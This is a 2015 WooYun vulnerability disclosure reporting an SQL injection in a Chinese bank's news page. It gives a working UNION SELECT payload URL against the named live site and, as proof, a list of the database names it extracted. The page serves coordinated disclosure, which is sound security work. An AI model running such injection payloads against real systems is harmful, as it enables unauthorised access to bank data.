WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0100554

漏洞标题：通商银行主站一处SQL注入漏洞

相关厂商：通商银行

漏洞作者： 路人甲

提交时间：2015-03-10 19:36

修复时间：2015-04-24 19:38

公开时间：2015-04-24 19:38

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-03-10： 细节已通知厂商并且等待厂商处理中
2015-03-15： 厂商已经确认，细节仅向厂商公开
2015-03-25： 细节向核心白帽子及相关领域专家公开
2015-04-04： 细节向普通白帽子公开
2015-04-14： 细节向实习白帽子公开
2015-04-24： 细节向公众公开

简要描述：

婊太多··未进一步渗透，点到即止

详细说明：

http://www.hcrcb.com/news/js.php?f_id=1)%20UNION%20SELECT%201,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%23&type=hot

漏洞证明：

0554jia
 13hcrcb
 54hailan
 554hd
 554jdc
 554lb
 554lhtx
 a0714154712
 a0716085508
 bank
 bankexam
 banknew
 baozhi
 cnjs
 fengshop
 ftga
 ftga1
 hcrcb
 hhncb
 hnlc
 hnlc1
 hnsj
 hnsj1
 jdc
 jiatai
 joa
 kaoshi
 laravel
 lb
 mysql
 onemall
 rcbmas
 rcbmas_test
 rcbszls
 rcbth
 rencai
 shbase
 shopnc
 shxx
 sjgl
 sjgl1
 sjglbaks
 sjglbaks1
 sq_mc
 test
 toupiao
 tsyh
 wenzhoulizhi
 wf
 wf_a
 wf_b
 wf_c
 wf_d
 wf_e
 wf_f
 wf_test
 wpgj
 xindainew
 xwxd
 yii_jdc
 zhangmu
 zjwdb_115891

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应